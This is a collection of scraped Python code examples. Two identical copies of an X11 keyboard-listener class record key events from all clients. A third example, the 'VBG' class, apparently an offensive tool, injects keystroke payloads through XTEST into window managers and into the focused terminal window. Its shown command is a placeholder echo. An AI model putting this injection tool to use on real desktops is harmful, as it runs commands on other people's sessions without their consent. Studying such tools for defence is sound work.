Example #1
0
class PyKeyboardEvent(PyKeyboardEventMeta):
    """
    The PyKeyboardEvent implementation for X11 systems (mostly linux). This
    allows one to listen for keyboard input.
    """
    def __init__(self, display=None):
        PyKeyboardEventMeta.__init__(self)
        self.display = Display(display)
        self.display2 = Display(display)
        self.ctx = self.display2.record_create_context(
            0,
            [record.AllClients],
            [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyPress, X.KeyRelease),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
            }])
        self.shift_state = 0  # 0 is off, 1 is on
        self.alt_state = 0  # 0 is off, 2 is on
        self.mod_keycodes = self.get_mod_keycodes()

    def run(self):
        """Begin listening for keyboard input events."""
        self.state = True
        if self.capture:
            self.display2.screen().root.grab_keyboard(True, X.KeyPressMask | X.KeyReleaseMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)

        self.display2.record_enable_context(self.ctx, self.handler)
        self.display2.record_free_context(self.ctx)

    def stop(self):
        """Stop listening for keyboard input events."""
        self.state = False
        self.display.record_disable_context(self.ctx)
        self.display.ungrab_keyboard(X.CurrentTime)
        self.display.flush()
        self.display2.record_disable_context(self.ctx)
        self.display2.ungrab_keyboard(X.CurrentTime)
        self.display2.flush()

    def handler(self, reply):
        """Upper level handler of keyboard events."""
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(data, self.display.display, None, None)
            if event.type == X.KeyPress:
                if self.escape_code(event):  # Quit if this returns True
                    self.stop()
                else:
                    self._key_press(event.detail)
            elif event.type == X.KeyRelease:
                self._key_release(event.detail)
            else:
                print('WTF: {0}'.format(event.type))

    def _key_press(self, keycode):
        """A key has been pressed, do stuff."""
        #Alter modification states
        if keycode in self.mod_keycodes['Shift'] or keycode in self.mod_keycodes['Lock']:
            self.toggle_shift_state()
        elif keycode in self.mod_keycodes['Alt']:
            self.toggle_alt_state()
        else:
            self.key_press(keycode)

    def _key_release(self, keycode):
        """A key has been released, do stuff."""
        #Alter modification states
        if keycode in self.mod_keycodes['Shift']:
            self.toggle_shift_state()
        elif keycode in self.mod_keycodes['Alt']:
            self.toggle_alt_state()
        else:
            self.key_release(keycode)

    def escape_code(self, event):
        if event.detail == self.lookup_character_value('Escape'):
            return True
        return False

    def lookup_char_from_keycode(self, keycode):
        keysym =self.display.keycode_to_keysym(keycode, self.shift_state + self.alt_state)
        if keysym:
            char = self.display.lookup_string(keysym)
            return char
        else:
            return None

    def get_mod_keycodes(self):
        """
        Detects keycodes for modifiers and parses them into a dictionary
        for easy access.
        """
        modifier_mapping = self.display.get_modifier_mapping()
        modifier_dict = {}
        nti = [('Shift', X.ShiftMapIndex),
               ('Control', X.ControlMapIndex), ('Mod1', X.Mod1MapIndex),
               ('Alt', X.Mod1MapIndex), ('Mod2', X.Mod2MapIndex),
               ('Mod3', X.Mod3MapIndex), ('Mod4', X.Mod4MapIndex),
               ('Mod5', X.Mod5MapIndex), ('Lock', X.LockMapIndex)]
        for n, i in nti:
            modifier_dict[n] = list(modifier_mapping[i])
        return modifier_dict

    def lookup_character_value(self, character):
        """
        Looks up the keysym for the character then returns the keycode mapping
        for that keysym.
        """
        ch_keysym = string_to_keysym(character)
        if ch_keysym == 0:
            ch_keysym = string_to_keysym(special_X_keysyms[character])
        return self.display.keysym_to_keycode(ch_keysym)

    def toggle_shift_state(self):
        '''Does toggling for the shift state.'''
        if self.shift_state == 0:
            self.shift_state = 1
        elif self.shift_state == 1:
            self.shift_state = 0
        else:
            return False
        return True

    def toggle_alt_state(self):
        '''Does toggling for the alt state.'''
        if self.alt_state == 0:
            self.alt_state = 2
        elif self.alt_state == 2:
            self.alt_state = 0
        else:
            return False
        return True
Example #2
0
class PyKeyboardEvent(PyKeyboardEventMeta):
    """
    The PyKeyboardEvent implementation for X11 systems (mostly linux). This
    allows one to listen for keyboard input.
    """
    def __init__(self, display=None):
        PyKeyboardEventMeta.__init__(self)
        self.display = Display(display)
        self.display2 = Display(display)
        self.ctx = self.display2.record_create_context(
            0,
            [record.AllClients],
            [{
                    'core_requests': (0, 0),
                    'core_replies': (0, 0),
                    'ext_requests': (0, 0, 0, 0),
                    'ext_replies': (0, 0, 0, 0),
                    'delivered_events': (0, 0),
                    'device_events': (X.KeyPress, X.KeyRelease),
                    'errors': (0, 0),
                    'client_started': False,
                    'client_died': False,
            }])
        self.shift_state = 0  # 0 is off, 1 is on
        self.alt_state = 0  # 0 is off, 2 is on
        self.mod_keycodes = self.get_mod_keycodes()

    def run(self):
        """Begin listening for keyboard input events."""
        self.state = True
        if self.capture:
            self.display2.screen().root.grab_keyboard(True, X.KeyPressMask | X.KeyReleaseMask, X.GrabModeAsync, X.GrabModeAsync, 0, 0, X.CurrentTime)

        self.display2.record_enable_context(self.ctx, self.handler)
        self.display2.record_free_context(self.ctx)

    def stop(self):
        """Stop listening for keyboard input events."""
        self.state = False
        self.display.record_disable_context(self.ctx)
        self.display.ungrab_keyboard(X.CurrentTime)
        self.display.flush()
        self.display2.record_disable_context(self.ctx)
        self.display2.ungrab_keyboard(X.CurrentTime)
        self.display2.flush()

    def handler(self, reply):
        """Upper level handler of keyboard events."""
        data = reply.data
        while len(data):
            event, data = rq.EventField(None).parse_binary_value(data, self.display.display, None, None)
            if event.type == X.KeyPress:
                if self.escape_code(event):  # Quit if this returns True
                    self.stop()
                else:
                    self._key_press(event.detail)
            elif event.type == X.KeyRelease:
                self._key_release(event.detail)
            else:
                print('WTF: {0}'.format(event.type))

    def _key_press(self, keycode):
        """A key has been pressed, do stuff."""
        #Alter modification states
        if keycode in self.mod_keycodes['Shift'] or keycode in self.mod_keycodes['Lock']:
            self.toggle_shift_state()
        elif keycode in self.mod_keycodes['Alt']:
            self.toggle_alt_state()
        else:
            self.key_press(keycode)

    def _key_release(self, keycode):
        """A key has been released, do stuff."""
        #Alter modification states
        if keycode in self.mod_keycodes['Shift']:
            self.toggle_shift_state()
        elif keycode in self.mod_keycodes['Alt']:
            self.toggle_alt_state()
        else:
            self.key_release(keycode)

    def escape_code(self, event):
        if event.detail == self.lookup_character_value('Escape'):
            return True
        return False

    def lookup_char_from_keycode(self, keycode):
        keysym =self.display.keycode_to_keysym(keycode, self.shift_state + self.alt_state)
        if keysym:
            char = self.display.lookup_string(keysym)
            return char
        else:
            return None

    def get_mod_keycodes(self):
        """
        Detects keycodes for modifiers and parses them into a dictionary
        for easy access.
        """
        modifier_mapping = self.display.get_modifier_mapping()
        modifier_dict = {}
        nti = [('Shift', X.ShiftMapIndex),
               ('Control', X.ControlMapIndex), ('Mod1', X.Mod1MapIndex),
               ('Alt', X.Mod1MapIndex), ('Mod2', X.Mod2MapIndex),
               ('Mod3', X.Mod3MapIndex), ('Mod4', X.Mod4MapIndex),
               ('Mod5', X.Mod5MapIndex), ('Lock', X.LockMapIndex)]
        for n, i in nti:
            modifier_dict[n] = list(modifier_mapping[i])
        return modifier_dict

    def lookup_character_value(self, character):
        """
        Looks up the keysym for the character then returns the keycode mapping
        for that keysym.
        """
        ch_keysym = string_to_keysym(character)
        if ch_keysym == 0:
            ch_keysym = string_to_keysym(special_X_keysyms[character])
        return self.display.keysym_to_keycode(ch_keysym)

    def toggle_shift_state(self):
        '''Does toggling for the shift state.'''
        if self.shift_state == 0:
            self.shift_state = 1
        elif self.shift_state == 1:
            self.shift_state = 0
        else:
            return False
        return True

    def toggle_alt_state(self):
        '''Does toggling for the alt state.'''
        if self.alt_state == 0:
            self.alt_state = 2
        elif self.alt_state == 2:
            self.alt_state = 0
        else:
            return False
        return True
Example #3
0
class VBG(object):
    def __init__(self):
        self.display = Display()
        self.term_windows = []
        self.term_strings = ("xterm")
        self.cmd = " " * 5 + ";{};exit;".format("echo w00t w00t")
        self.default_delay = 0.05
        self.control_key_map = {
            "ESC": XK.XK_Escape,
            "ALT": XK.XK_Alt_L,
            "WINDOWS": XK.XK_Super_L,
            "ENTER": XK.XK_Return,
            "CONTROL": XK.XK_Control_L,
            "DOLLAR": XK.XK_dollar,
            "SHIFT": XK.XK_Shift_L,
            "F2": XK.XK_F2
        }
        self.map = {}
        for keysym in range(0, 65535):
            symbol = self.display.lookup_string(keysym)
            if symbol != None:
                self.map[symbol] = keysym

        if args.mode == "cmd":
            if not "XTEST" in self.display.list_extensions():
                print(
                    "[E] - XTEST Extension Not Supported. Maybe Connect With `ssh -Y`.",
                    file=sys.stderr)
                sys.exit(2)
            elif not args.passive and args.payload:
                self.injectWMCmd(args.payload)
                sys.exit(0)
            elif not args.passive:
                wm = self.detectEnvironment()
                if wm:
                    payloads = glob.glob("payloads/{}_payload*".format(
                        wm.split()[0].lower()))
                    if not payloads:
                        print("[E] No Suitable Payload Found.")
                        sys.exit(1)
                    for wm_payload in payloads:
                        self.injectWMCmd(wm_payload)
                    sys.exit(0)
                else:
                    print("[-] - Falling Back to Passive Mode.")
            print("[+] - Trying Passive Mode.")
            self.findTerms(self.display, self.display.screen().root)
            self.waitFocusAndInjectCmd(self.term_strings)
        else:
            print("[E] - Unsupported Mode.")
            sys.exit(1)

    def detectEnvironment(self):
        print("[+] - Detecting Window Manager.")
        cmd = "wmctrl -m"
        output = subprocess.check_output(cmd.split()).splitlines()
        wm = output[0].decode("ascii").split(" ", maxsplit=1)[1]
        if not wm:
            print(
                "[-] - Could Not Detect Environment. Check if wmctrl is Installed."
            )
            return None
        wm = wm.strip()
        print("[+] - Window Manager {} Detected.".format(wm.strip()))
        return wm

    def injectWMCmd(self, payload_file):
        print("[+] - Running Payload from File {}.".format(payload_file))
        f = open(payload_file, "r")
        payload = self.parseDuck(f)
        for p in payload:
            if type(p) == float:
                time.sleep(p)
                continue
            bytes_payload = " ".join([str(x) for x in p]).encode("ascii")
            proc = subprocess.Popen(["./write_cmd"],
                                    stdin=subprocess.PIPE,
                                    stdout=subprocess.PIPE,
                                    stderr=subprocess.PIPE)
            print(proc.communicate(input=bytes_payload)[0].decode("ascii"))
            time.sleep(self.default_delay)
        #os.system("./write_cmd '{}'".format(self.cmd))

    def mapKey(self, key):
        if key in self.control_key_map:
            return self.control_key_map[key]

        keysym = XK.string_to_keysym(key)
        if keysym != 0:
            return keysym

        return self.map.get(key, None)

    def parseDuck(self, script):
        payload = []
        for line in script:
            line = line.strip("\n")
            split_line = line.split(" ", maxsplit=1)
            instr = split_line[0]
            if instr == "STRING":
                arg = split_line[1]
                keycodes = []
                for ch in arg:
                    keysym = self.mapKey(ch)
                    if not keysym:
                        print(
                            "[E] - Parse Error. Character \"{}\" has no Valid Keysym."
                            .format(ch))
                        sys.exit(1)
                    #print("{} -> kc:{} ksym:{}".format(ch, self.display.keysym_to_keycode(keysym), keysym))
                    keycodes.append(self.display.keysym_to_keycode(keysym))
                    keycodes.append(self.display.keysym_to_keycode(keysym))
                payload.append(keycodes)

            elif "-" in instr:
                keycodes = []
                key = instr.split("-")
                if len(key) != 2:
                    print(
                        "[E] - Parse Error. \"{}\" Composition Length is Unsupported (max 2 keys)."
                        .format(instr))
                    sys.exit(1)

                keycode1, keycode2 = tuple(
                    map(self.display.keysym_to_keycode, map(self.mapKey, key)))
                if keycode1 and keycode2:
                    keycodes.append(keycode1)
                    keycodes.append(keycode2)
                    keycodes.append(keycode2)
                    keycodes.append(keycode1)
                else:
                    print("[E] - Parse Error. \"{}\" Unsupported Composition.".
                          format(instr))
                    sys.exit(1)
                payload.append(keycodes)

            elif instr in self.control_key_map:
                keycode = self.display.keysym_to_keycode(
                    self.control_key_map[instr])
                payload.append([keycode])

            elif instr == "REM":
                continue
            elif instr == "DELAY":
                arg = split_line[1]
                try:
                    delay = float(arg)
                except:
                    print("[E] - Parse Error. \"{}\" is not a Valid Delay.".
                          format(arg))
                    sys.exit(1)
                payload.append(delay)
            elif instr == "REPEAT":
                arg = split_line[1]
                try:
                    repetitions = int(arg)
                except:
                    print(
                        "[E] - Parse Error. \"{}\" is not a Valid Number of Repetitions."
                        .format(arg))
                    sys.exit(1)
                payload.append(payload[-1] * repetitions)
            else:
                print(
                    "[E] - Parse Error. \"{}\" is not a Supported Instruction."
                    .format(instr))
                sys.exit(1)
        return payload

    def findTerms(self, display, window):
        children = window.query_tree().children
        win_class = window.get_wm_class()
        win_name = window.get_wm_name()

        if win_class != None and win_class[0] in "".join(self.term_strings):
            #if "root@" in win_name:
            self.term_windows.append(window)

        for w in children:
            self.findTerms(self.display, w)

    def waitFocusAndInjectCmd(self, term_strings):
        print("[+] - Waiting Focus on a Terminal Window...")
        while True:
            focused_window = self.display.get_input_focus().focus
            focused_window_name = focused_window.get_wm_name()
            focused_window_class = focused_window.get_wm_class()
            if focused_window_class == None:
                continue

            if focused_window_class[0] in "".join(term_strings):
                if re.match("[a-zA-Z]+[a-zA-Z0-9]*", focused_window_name):
                    os.system("./write_cmd '{}'".format(self.cmd))
                    break
            time.sleep(self.default_delay)